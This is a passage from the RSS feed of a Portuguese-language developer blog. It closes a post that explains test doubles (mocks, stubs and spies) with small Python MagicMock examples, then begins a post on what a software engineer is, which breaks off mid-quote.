        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;{0} ({1})&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
            self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;descricao&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;fabricante&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get_descricao&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Teste&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;test_usando_mock&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    fabricante &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; MagicMock&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    fabricante&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get_descricao&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;return_value &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Volkswagen&apos;&lt;/span&gt;
    carro &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Carro&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Fusca&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; fabricante&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;carro&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Fusca (Volkswagen)&apos;&lt;/span&gt;
    fabricante&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get_descricao&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;assert_called_once_with&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;em&gt;Mocks&lt;/em&gt; são fundamentais quando estamos lidando com interações
das quais não podemos (ou fica muito custoso) prever o comportamento.
Particularmente, gosto de usar &lt;em&gt;Mocks&lt;/em&gt; para garantir que o contrato entre o
meu método/classe e meu serviço/&lt;em&gt;API&lt;/em&gt; esteja coerente.&lt;/p&gt;
&lt;h2&gt;Stubs&lt;/h2&gt;
&lt;p&gt;Semelhantes aos &lt;em&gt;Mocks&lt;/em&gt;, com os &lt;em&gt;Stubs&lt;/em&gt; temos a capacidade de retornar
respostas pré-definidas durante a execução de um teste. A principal diferença
entre ambos é que com &lt;em&gt;Stubs&lt;/em&gt;, não costumamos checar se eles foram propriamente
executados:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Carro&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    rodas &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;__init__&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; descricao&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; fabricante&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;descricao &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; descricao
        self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;fabricante &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; fabricante

    &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;__str__&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;{0} ({1})&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
            self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;descricao&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;fabricante&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get_descricao&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Teste&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; mock &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; MagicMock


&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;test_usando_stub&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    fabricante &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; MagicMock&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    fabricante&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get_descricao&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;return_value &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Volkswagen&apos;&lt;/span&gt;
    carro &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Carro&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Fusca&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; fabricante&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;carro&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Fusca (Volkswagen)&apos;&lt;/span&gt;

test_usando_stub&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;em&gt;Stubs&lt;/em&gt; são excelentes para fingir interações com bibliotecas &lt;em&gt;third-party&lt;/em&gt;. Não
precisamos compreender a sua complexidade, apenas fingimos que ela está lá e
retornando valores para os nossos &lt;em&gt;test cases&lt;/em&gt;. Exemplo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; datetime &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; date
&lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; patch&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;mymodule.date&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; mock_date&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    mock_date&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;today&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;return_value &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; date&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2010&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    mock_date&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;side_effect &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;lambda&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;args&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;**&lt;/span&gt;kw&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; date&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;args&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;**&lt;/span&gt;kw&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; mymodule&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;date&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;today&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; date&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2010&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; mymodule&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;date&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2009&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; date&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2009&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;Spies&lt;/h2&gt;
&lt;p&gt;Com &lt;em&gt;Spies&lt;/em&gt;, ao invés de setarmos expectativas, armazenamos as chamadas
realizadas por colaboradores:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Carro&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    rodas &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;__init__&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; descricao&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; fabricante&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;descricao &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; descricao
        self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;fabricante &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; fabricante

    &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;__str__&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;{0} ({1})&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
            self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;descricao&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;fabricante&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get_descricao&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Teste&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; mock &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; MagicMock


&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;test_usando_spy&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    fabricante &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; MagicMock&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    fabricante&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get_descricao&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;return_value &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Volkswagen&apos;&lt;/span&gt;

    fusca &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Carro&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Fusca&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; fabricante&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    gol &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Carro&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Gol&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; fabricante&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token builtin&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;fusca&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token builtin&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;gol&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; fabricante&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get_descricao&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;call_count &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Costumo usar &lt;em&gt;Spies&lt;/em&gt; com frequência em testes &lt;em&gt;front-end&lt;/em&gt;,
principalmente utilizando &lt;a href=&quot;https://qunitjs.com/&quot; title=&quot;Conheça a suíte de testes JS, QUnit&quot;&gt;&lt;em&gt;QUnit&lt;/em&gt;&lt;/a&gt; e &lt;a href=&quot;http://sinonjs.org/&quot; title=&quot;Spies, stubs and mocks for Javascript&quot;&gt;&lt;em&gt;Sinon.JS&lt;/em&gt;&lt;/a&gt;,
para garantir a chamada de um determinado método dentro de eventos complexos,
onde não consigo ter certeza sobre o resultado esperado.&lt;/p&gt;
&lt;h2&gt;Conclusão&lt;/h2&gt;
&lt;p&gt;Já dizia o filósofo que &quot;mockar é uma arte&quot;. A verdade é que o uso de &lt;em&gt;doubles&lt;/em&gt;
nos ajuda muito quando estamos trabalhando dentro de um contexto de &lt;em&gt;TDD&lt;/em&gt;,
simplificando assim um relacionamento complexo entre classes/objetos, afim de
agilizar o nosso desenvolvimento e facilitar os nosso testes.&lt;/p&gt;
&lt;p&gt;Recentemente participei de um treinamento da &lt;a href=&quot;http://www.industriallogic.com/&quot; title=&quot;Developing Software Doesn&amp;#x27;t Have To Be Slow, Stressful And Filled With Unpleasant Surprises&quot;&gt;&lt;em&gt;Industrial Logic&lt;/em&gt;&lt;/a&gt;, sobre &lt;em&gt;Refactoring&lt;/em&gt;, e a lição que ficou foi:
Use &lt;em&gt;mocks&lt;/em&gt; moderadamente. Sempre dê preferência a uma alteração na arquitetura
do seu &lt;em&gt;software&lt;/em&gt; (como por exemplo, o uso de &lt;a href=&quot;https://pt.wikipedia.org/wiki/Inje%C3%A7%C3%A3o_de_depend%C3%AAncia&quot; title=&quot;Leia mais no Wikipedia&quot;&gt;Injeção de Dependência&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Se o uso de dublês for inevitável, prefira tipos mais simples
(&lt;em&gt;Dummys&lt;/em&gt; e &lt;em&gt;Fakes&lt;/em&gt;). Dessa forma, os seus testes ficarão simples, legíveis e
mais fáceis de manter.&lt;/p&gt;
&lt;p&gt;Até a próxima.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;&lt;a href=&quot;https://nirajrules.wordpress.com/2011/08/27/dummy-vs-stub-vs-spy-vs-fake-vs-mock/&quot; title=&quot;Leia o artigo completo sobre as nomenclaturas&quot;&gt;Niraj Bhatt - Dummy vs. Stub vs. Spy vs. Fake vs. Mock&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;&lt;a href=&quot;http://stackoverflow.com/questions/346372/whats-the-difference-between-faking-mocking-and-stubbing&quot; title=&quot;Leia mais no StackOverflow&quot;&gt;StackOverflow - What&apos;s the difference between faking, mocking, and stubbing?&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;&lt;a href=&quot;http://code.tutsplus.com/articles/tdd-terminology-simplified--net-30626&quot; title=&quot;Leia mais sobre TDD no Tuts+&quot;&gt;Tuts+ - TDD Terminology Simplified&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[O que é um Software Engineer?]]></title><description><![CDATA[Certa vez, estava eu atualizando o meu LinkedIn quando o
@davidsonfellipe me indagou sobre o título de "Analista e Desenvolvedor Web" que…]]></description><link>https://klauslaube.com.br/2015/03/29/o-que-e-um-software-engineer.html</link><guid isPermaLink="false">https://klauslaube.com.br/2015/03/29/o-que-e-um-software-engineer.html</guid><pubDate>Sun, 29 Mar 2015 22:10:00 GMT</pubDate><content:encoded>&lt;p&gt;Certa vez, estava eu atualizando o meu &lt;em&gt;LinkedIn&lt;/em&gt; quando o
&lt;a href=&quot;https://twitter.com/davidsonfellipe&quot; title=&quot;Acompanhe o Davi do Som no Twitter&quot;&gt;@davidsonfellipe&lt;/a&gt; me indagou sobre o título de &quot;Analista e Desenvolvedor Web&quot; que possuo atualmente. Segundo ele, &quot;Front-end/Back-end Engineer&quot; é mais atrativo para que &lt;em&gt;headhunters&lt;/em&gt; cheguem a um perfil.&lt;/p&gt;
&lt;p&gt;Contra argumentei dizendo que essa não era a minha formação, e que não me
sentia confortável em me chamar de engenheiro. Ele, hoje um &lt;em&gt;Front-end Engineer&lt;/em&gt;
com formação em Engenharia da Computação, afirmou que isso era bobagem, e que
eu já praticava muitas das suas atribuições no dia a dia.&lt;/p&gt;
&lt;p&gt;A partir daí comecei a me perguntar: O que raios é e o que faz um Engenheiro
de Software?&lt;/p&gt;
&lt;h2&gt;Engenharia?&lt;/h2&gt;
&lt;p&gt;Segundo o &lt;em&gt;Wikipedia&lt;/em&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A engenharia é a ciência, a arte e a profissão de adquirir e de aplicar os
conhecimentos matemáticos, técnicos e científicos na criação,
aperfeiçoamento e implementação de utilidades, tais como materiais,
estruturas, máquinas, aparelhos, sistemas ou processos, que realizem uma
determinada função ou objetivo.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Um engenheiro é basicamente o profissional que aplica esse conhecimento para
desenvolver soluções para problemas técnicos. Em determinadas áreas de
atuação, ele deve estar certificado/licenciado para que possa utilizar esse
título.&lt;/p&gt;
&lt;p&gt;É importante notar que um engenheiro transita entre diversas áreas de
conhecimento dentro de uma determinada profissão. Um Engenheiro Civil,
por exemplo, além de gerenciar e executar as obras, também é responsável
por fazer análise de solo, ventilação, das instalações elétricas, do
saneamento, dos custos, dos padrões de qualidade, da segurança, do prazo, etc.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 620px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/33839b90ab2f297a3aec4824351bafb8/935bc/what-my-friends-think-I-do-what-i-actually-do-engineer.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 79.16666666666667%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAQABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAIEAf/EABUBAQEAAAAAAAAAAAAAAAAAAAAB/9oADAMBAAIQAxAAAAGDEInGD//EABoQAAIDAQEAAAAAAAAAAAAAAAIRAQMSEyL/2gAIAQEAAQUC4CIzWoIFNmV42eH/AP/EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQMBAT8BP//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQIBAT8BP//EAB4QAAIBAwUAAAAAAAAAAAAAAAARASEiMQISEzKh/9oACAEBAAY/AnyXLG07RlJCIU+l2qUUqf/EABoQAQACAwEAAAAAAAAAAAAAAAEAESExUUH/2gAIAQEAAT8heSjfqKK2MHZIt/weoNZ6GGUZ0dZ//9oADAMBAAIAAwAAABCs7//EABURAQEAAAAAAAAAAAAAAAAAABEQ/9oACAEDAQE/EAn/xAAVEQEBAAAAAAAAAAAAAAAAAAAREP/aAAgBAgEBPxBZ/8QAGxABAAIDAQEAAAAAAAAAAAAAAQARITFBUbH/2gAIAQEAAT8Qo0OamwIWtd3DUXBC6reIzrM3ZAouzSU4speRqASijzBnstTxSj9n/9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;O que meus amigos acham que eu faço (whatmyfriendsthinkido.net)&amp;quot;&quot;
        title=&quot;O que meus amigos acham que eu faço (whatmyfriendsthinkido.net)&quot;
        src=&quot;/static/33839b90ab2f297a3aec4824351bafb8/935bc/what-my-friends-think-I-do-what-i-actually-do-engineer.jpg&quot;
        srcset=&quot;/static/33839b90ab2f297a3aec4824351bafb8/7809d/what-my-friends-think-I-do-what-i-actually-do-engineer.jpg 192w,
/static/33839b90ab2f297a3aec4824351bafb8/4ecad/what-my-friends-think-I-do-what-i-actually-do-engineer.jpg 384w,
/static/33839b90ab2f297a3aec4824351bafb8/935bc/what-my-friends-think-I-do-what-i-actually-do-engineer.jpg 620w&quot;
        sizes=&quot;(max-width: 620px) 100vw, 620px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;O que meus amigos acham que eu faço (whatmyfriendsthinkido.net)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Na TI, como &lt;a href=&quot;http://www.profissionaisti.com.br/2013/06/14-motivos-para-voce-ser-contra-a-regulamentacao-dos-profissionais-de-ti/&quot; title=&quot;14 motivos para você ser contra a regulamentação dos profissionais de TI&quot;&gt;não há regulamentação da profissão&lt;/a&gt;,
é muito comum vermos desenvolvedores &quot;abraçarem&quot; diferentes atribuições dentro
de um projeto, e por fim, acabarem exercendo esse papel multidisciplinar.&lt;/p&gt;
&lt;h2&gt;A Engenharia de Software&lt;/h2&gt;
&lt;p&gt;O termo &quot;Engenharia de Software&quot;, surgiu na década de 60, com a intenção de
contornar a &lt;a href=&quot;http://pt.wikipedia.org/wiki/Crise_do_software&quot; title=&quot;Leia mais no Wikipedia&quot;&gt;crise do Software&lt;/a&gt;,
e dar um tratamento mais sistemático e controlado ao desenvolvimento de
sistemas complexos.&lt;/p&gt;
&lt;p&gt;Segundo &lt;em&gt;[Friedrich L. Bauer](&lt;a href=&quot;http://en.wikipedia.org/wiki/Friedrich&quot;&gt;http://en.wikipedia.org/wiki/Friedrich&lt;/a&gt;&lt;/em&gt;L.&lt;em&gt;Bauer &quot;Leia mais sobre Bauer no Wikipedia&quot;)&lt;/em&gt;,
autor do que viria a ser a primeira definição sobre Engenharia de Software:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(...) é a criação e a utilização de sólidos princípios de engenharia a fim
